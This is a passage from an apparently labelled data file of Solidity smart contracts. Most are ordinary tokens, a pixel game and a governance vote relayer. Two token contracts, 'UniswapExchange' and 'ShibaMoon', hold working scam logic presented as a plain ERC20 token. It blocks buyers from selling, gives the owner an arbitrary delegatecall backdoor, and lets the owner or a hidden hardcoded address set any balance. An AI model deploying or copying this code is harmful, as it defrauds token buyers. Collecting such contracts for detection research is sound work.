mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,331 |
pragma solidity ^0.4.18;
contract usingOwnership {
address public contract_owner;
modifier onlyOwner() {
require(msg.sender == contract_owner);
_;
}
function usingOwnership() internal {
contract_owner = msg.sender;
}
function Withdraw(uint _amount) onlyOwner public {
if (_amount > this.balance)
_amount = this.balance;
contract_owner.transfer(_amount);
}
function TransferOwnership(address _new_owner) onlyOwner public {
require(_new_owner != address(0));
contract_owner = _new_owner;
}
}
contract usingCanvasBoundaries {
uint private g_block;
uint private max_max_index;
uint private max_block_number;
uint[] private halving;
function usingCanvasBoundaries() internal {
g_block = block.number;
max_max_index = 4198401;
max_block_number = g_block + 3330049;
halving = [g_block + 16384, g_block + 81920, g_block + 770048];
}
function max_index() internal view returns(uint m_index) {
if (block.number > max_block_number)
return max_max_index;
uint delta = block.number - g_block;
return delta +
((block.number <= halving[0]) ? delta : halving[0] - g_block) +
((block.number <= halving[1]) ? delta : halving[1] - g_block) +
((block.number <= halving[2]) ? delta : halving[2] - g_block);
}
function HalvingInfo() public view returns(uint genesis_block, uint[] halving_array) {
return (g_block, halving);
}
}
contract Etherpixels is usingOwnership, usingCanvasBoundaries {
uint private starting_price = 5000000000000;
struct Pixel {
uint96 price;
address owner;
}
mapping(uint => Pixel) private pixels;
event PixelPainted(uint i, address new_owner, address old_owner, uint price, bytes3 new_color);
event PixelUnavailable(uint i, address new_owner, uint price, bytes3 new_color);
function Paint(uint _index, bytes3 _color) public payable {
require(_index <= max_index());
paint_pixel(_index, _color, msg.value);
}
function BatchPaint(uint8 _batch_size, uint[] _index, bytes3[] _color, uint[] _paid) public payable {
uint remaining = msg.value;
uint m_i = max_index();
for(uint8 i = 0; i < _batch_size; i++) {
require(remaining >= _paid[i] && _index[i] <= m_i);
paint_pixel(_index[i], _color[i], _paid[i]);
remaining -= _paid[i];
}
}
function StartingPrice() public view returns(uint price) {
return starting_price;
}
function LowerStartingPrice(uint _new_starting_price) onlyOwner public {
require(_new_starting_price < starting_price);
starting_price = _new_starting_price;
}
function paint_pixel(uint _index, bytes3 _color, uint _paid) private {
Pixel storage p = pixels[_index];
if (msg.sender == p.owner) {
PixelPainted(_index, msg.sender, msg.sender, p.price, _color);
}
else {
uint current_price = p.price == 0 ? starting_price : uint(p.price);
if (_paid < current_price * 11 / 10)
PixelUnavailable(_index, msg.sender, current_price, _color);
else {
if (_paid > current_price * 2)
_paid = current_price * 2;
p.price = uint96(_paid);
require(p.price == _paid);
address old_owner = p.owner;
p.owner = msg.sender;
PixelPainted(_index, msg.sender, old_owner, p.price, _color);
if (old_owner != address(0))
old_owner.send(_paid * 98 / 100);
}
}
}
} | 0 | 2,017 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
library Math {
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
library AddressUtils {
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
contract ReentrancyGuard {
bool private reentrancyLock = false;
modifier nonReentrant() {
require(!reentrancyLock);
reentrancyLock = true;
_;
reentrancyLock = false;
}
}
contract BasicToken is ERC20Basic, ReentrancyGuard {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract TokenTimelock {
using SafeERC20 for ERC20Basic;
ERC20Basic public token;
address public beneficiary;
uint256 public releaseTime;
constructor(ERC20Basic _token, address _beneficiary, uint256 _releaseTime) public {
require(_releaseTime > block.timestamp);
token = _token;
beneficiary = _beneficiary;
releaseTime = _releaseTime;
}
function release() public {
require(block.timestamp >= releaseTime);
uint256 amount = token.balanceOf(this);
require(amount > 0);
token.safeTransfer(beneficiary, amount);
}
}
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
event Released(uint256 amount);
event Revoked();
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
constructor(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable
)
public
{
require(_beneficiary != address(0));
require(_cliff <= _duration);
beneficiary = _beneficiary;
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
}
function release(ERC20Basic token) public {
uint256 unreleased = releasableAmount(token);
require(unreleased > 0);
released[token] = released[token].add(unreleased);
token.safeTransfer(beneficiary, unreleased);
emit Released(unreleased);
}
function revoke(ERC20Basic token) public onlyOwner {
require(revocable);
require(!revoked[token]);
uint256 balance = token.balanceOf(this);
uint256 unreleased = releasableAmount(token);
uint256 refund = balance.sub(unreleased);
revoked[token] = true;
token.safeTransfer(owner, refund);
emit Revoked();
}
function releasableAmount(ERC20Basic token) public view returns (uint256) {
return vestedAmount(token).sub(released[token]);
}
function vestedAmount(ERC20Basic token) public view returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (block.timestamp < cliff) {
return 0;
} else if (block.timestamp >= start.add(duration) || revoked[token]) {
return totalBalance;
} else {
return totalBalance.mul(block.timestamp.sub(start)).div(duration);
}
}
}
contract StandardBurnableToken is BurnableToken, StandardToken {
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender]);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
}
contract TMToken is StandardBurnableToken, MintableToken, Pausable {
string public constant name = "Tokenmom";
string public constant symbol = "TM";
uint8 public constant decimals = 8;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
event Burn(address indexed from, uint256 value);
event Pause(address indexed from, uint256 value);
event Mint(address indexed to, uint256 amount);
uint256 public constant INITIAL_SUPPLY = 2000000000 * (10 ** uint256(decimals));
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
} | 1 | 4,542 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract ShibaMoon {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 2,482 |
pragma solidity ^0.4.24;
contract OuterWithEth {
Inner1WithEth public myInner1 = new Inner1WithEth();
function callSomeFunctionViaOuter() public payable {
myInner1.callSomeFunctionViaInner1.value(msg.value)();
}
}
contract Inner1WithEth {
Inner2WithEth public myInner2 = new Inner2WithEth();
function callSomeFunctionViaInner1() public payable{
myInner2.doSomething.value(msg.value)();
}
}
contract Inner2WithEth {
uint256 someValue;
event SetValue(uint256 val);
function doSomething() public payable {
someValue = block.timestamp;
emit SetValue(someValue);
msg.sender.transfer(msg.value);
}
} | 0 | 1,358 |
pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
interface GasToken {
function freeFromUpTo(address from, uint256 value) external returns (uint256 freed);
}
contract SigRelayer2 {
modifier discountGST2 {
uint256 gasStart = gasleft();
_;
uint256 gasSpent = 21000 + gasStart - gasleft() + 16 * msg.data.length;
uint gas_left = gasleft();
uint maxtokens = (gas_left - 27710) / 7020;
uint tokens = (gasSpent + 14154) / 41130;
if(tokens > maxtokens) tokens = maxtokens;
GasToken(0x0000000000b3F879cb30FE243b4Dfee438691c04).freeFromUpTo(msg.sender, tokens);
}
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,uint8 support)");
string public constant name = "Compound";
string public constant name2 = "Compound Governor Bravo";
address public governorBravo;
address public compToken;
address public owner;
constructor(address governorBravo_, address compToken_) public {
governorBravo = governorBravo_;
compToken = compToken_;
owner = msg.sender;
}
function setGovernorBravo(address governorBravo_) public {
require(msg.sender == owner);
governorBravo = governorBravo_;
}
function relayBySigsGST(DelegationSig[] memory s1, VoteSig[] memory s2) public discountGST2 {
for (uint i = 0; i < s1.length; i++) {
DelegationSig memory sig = s1[i];
compToken.call(abi.encodeWithSignature("delegateBySig(address,uint256,uint256,uint8,bytes32,bytes32)", sig.delegatee, sig.nonce, sig.expiry, sig.v, sig.r, sig.s));
}
for (uint i = 0; i < s2.length; i++) {
VoteSig memory sig = s2[i];
governorBravo.call(abi.encodeWithSignature("castVoteBySig(uint256,uint8,uint8,bytes32,bytes32)", sig.proposalId,sig.support,sig.v,sig.r,sig.s));
}
}
function relayBySigs(DelegationSig[] memory s1, VoteSig[] memory s2) public {
for (uint i = 0; i < s1.length; i++) {
DelegationSig memory sig = s1[i];
compToken.call(abi.encodeWithSignature("delegateBySig(address,uint256,uint256,uint8,bytes32,bytes32)", sig.delegatee, sig.nonce, sig.expiry, sig.v, sig.r, sig.s));
}
for (uint i = 0; i < s2.length; i++) {
VoteSig memory sig = s2[i];
governorBravo.call(abi.encodeWithSignature("castVoteBySig(uint256,uint8,uint8,bytes32,bytes32)", sig.proposalId,sig.support,sig.v,sig.r,sig.s));
}
}
function signatoryFromDelegateSig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public view returns (address) {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), compToken));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "invalid signature");
require(now <= expiry, "signature expired");
return signatory;
}
function signatoryFromVoteSig(uint proposalId, uint8 support, uint8 v, bytes32 r, bytes32 s) public view returns (address) {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name2)), getChainId(), governorBravo));
bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "invalid signature");
return signatory;
}
struct DelegationSig {
address delegatee;
uint nonce;
uint expiry;
uint8 v;
bytes32 r;
bytes32 s;
}
struct VoteSig {
uint proposalId;
uint8 support;
uint8 v;
bytes32 r;
bytes32 s;
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
} | 0 | 1,329 |
pragma solidity >=0.4.22 <0.6.0;
interface collectible {
function transfer(address receiver, uint amount) external;
}
contract Swap {
address public beneficiary;
uint public amountRaised;
uint public price;
bool contractover = false;
collectible public swapaddress;
mapping(address => uint256) public balanceOf;
mapping(address => bool) public check;
event FundTransfer(address backer, uint amount, bool isContribution);
constructor(
address SendTo,
uint etherCostOfEachCollectible,
address addressOfCollectibleUsedAsReward
) public {
beneficiary = SendTo;
price = etherCostOfEachCollectible * 1 szabo;
swapaddress = collectible(addressOfCollectibleUsedAsReward);
}
function () payable external {
require(check[msg.sender] == false);
require(msg.value < 1000000000000000001 wei);
uint amount = msg.value;
balanceOf[msg.sender] += amount;
amountRaised += amount;
